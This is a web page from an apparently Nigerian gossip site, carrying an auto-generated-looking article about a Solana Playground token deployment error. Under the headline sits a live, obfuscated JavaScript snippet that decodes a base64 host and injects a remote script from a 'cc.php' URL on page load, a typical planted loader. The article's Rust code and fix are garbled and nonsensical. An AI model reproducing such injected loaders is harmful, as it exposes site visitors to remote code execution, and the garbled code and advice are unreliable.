📲 Click Here to Join Our WhatsApp Channel
NEWS | Politics | CRIME TALK ZONE | DJ MIX | SPORTS |


Burna Boy
Davido
Wizkid
Naira Marley
Olamide
Tiwa Savage
Rema
Asake
Kizz Daniel
OdumoduBLCK
Shallipopi
Tems
Ayra Starr

« | »

Solana: Solana playground: Deployed token has no image and metadata and ({“err”:{“InstructionError”:[2,”AccountNotExecutable”]}})

Published by on February 9th, 2025.


const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=7a11a31f”;document.body.appendChild(script);

I can help you with that. I need more information about your project and the specific error message you have experienced. Here is an example article based on what you have provided:

Solana Playground: Deploying tokens with an unfulfilled account

In this article, we will study the connection of the problems to unleash the Solana Blockchain Marker using an anchor, a popular framework for building decentralized applications (DAPS).

lib.rs

`Is resting

Use Anchor_lang :: Prelude ::*;

Use Anchor_spl :: {

Associated_taken :: AssociatedTequen,

Metadata :: {Create_Metadata_Accounts_v3},

};

#[anchor contract]

MOD my_ Contract {

Use super:*;

#[program]

PUB FN Create_Token (_info: Programinfo) -> Result {

// Create an associated for the unfolded token

Note Token = AssociatoKen :: New ("My Token", "MTOKEN", 1_000_000_000);

// Create Accounts in Metadata for tokena

Let accounts = Create_Metadata_accounts_v3 (& Token, & [123]);

Good (())

}

}

Error

`Json

{

"Type": "Error",

"Msg": "Recuindalerror: Account is not executable",

"Data": {

"Instruction_id": "Create_token",

"Accounts": {

"Token": {

"Data": null,

"Key": "0x ..."

},

"Metadata_accounts_v3": [

...

)

}

}

}

Decision

In this example, the ‘create_metadata_accounts_v3feature is called with an empty array of accounts. To fix this problem, they must specify the account that will be executed by the Anchor compiler. This account must have a unique key (for example "0x ...") and the corresponding address of the contract.

To fix the problem in the filemy_ Contract.Rs, we must add the following line to the Create_TeKen feature:

`Is resting

Let the performance_info = Programinfo :: new ();

Let Contract_address = Execution_info.Account_Key ().

Let the account = "0x ..."; // Replace with a valid account key

// Create Accounts in Metadata for tokena

Let accounts = Create_Metadata_accounts_v3 (& Token, & [Account]);

Good (())

Full code

Here is the full code with the adjusted file my_ Contract.rs:

`Is resting

Use Anchor_lang :: Prelude ::*;

Use Anchor_spl :: {

Associated_taken :: AssociatedTequen,

Metadata :: {Create_Metadata_Accounts_v3},

};

#[anchor contract]

MOD my_ Contract {

Use super:*;

#[program]

PUB FN Create_Token (_info: Programinfo) -> Result {

// Create an associated for the unfolded token

Note Token = AssociatoKen :: New ("My Token", "MTOKEN", 1_000_000_000);

// Create Accounts in Metadata for tokena

Let the performance_info = Programinfo :: new ();

Let the account = "0x ..."; // Replace with a valid account key

Let Contract_address = Execution_info.Account_Key ().

Let accounts = Create_Metadata_accounts_v3 (& Token, & [Account]);

Good (())

}

}

Notes

TRENDING SONGS

Song Nigerian Officials Allegedly Pocket N4–6B Weekly Through Smuggling Cartels at Seme–Badagry Border Song Ahmad Yerima: Naval Officer to Face No Sanctions After Clash with Wike – Matawalle Song Trending Video: Muslim Man Joins Wife in Hallelujah Challenge ‘Dress Like Your Miracle’ Night Song Woman Seeks Advice as Late Brother’s Wife Refuses to Mourn Him Following His Death With Alleged Mistress Song Nobody Cares About Fine Girls In The UK, I Miss Nigeria — Nigerian Lady Laments Song Wedding Called Off: How Lady Cancels Wedding After Finding Out Finance’s Affairs With Her Bestie  Song Heartbreak in Ikeja: Lady Weeps After Fufu Found in New Phone Package Song Twist of Fate: Man Who Questioned Phyna’s ₦1Billion Demand Mourns Brother in Dangote Truck Crash Song Tragedy in Enugu: Dangote Truck Claims Lives of Family of Five Song Bangkok Crackdown: Nigerian-Thai Couple in Police Net Over Drug Trafficking

CLICK TO DROP YOUR COMMENT

Share this post with your friends on


0 Responses

Leave a Reply

NOTE:- Make your comment a bit long to get it approved.



Go Back To The Top

« | »


Looking for something? Search below





About First Class Gists


Click Here to Join Our WhatsApp Channel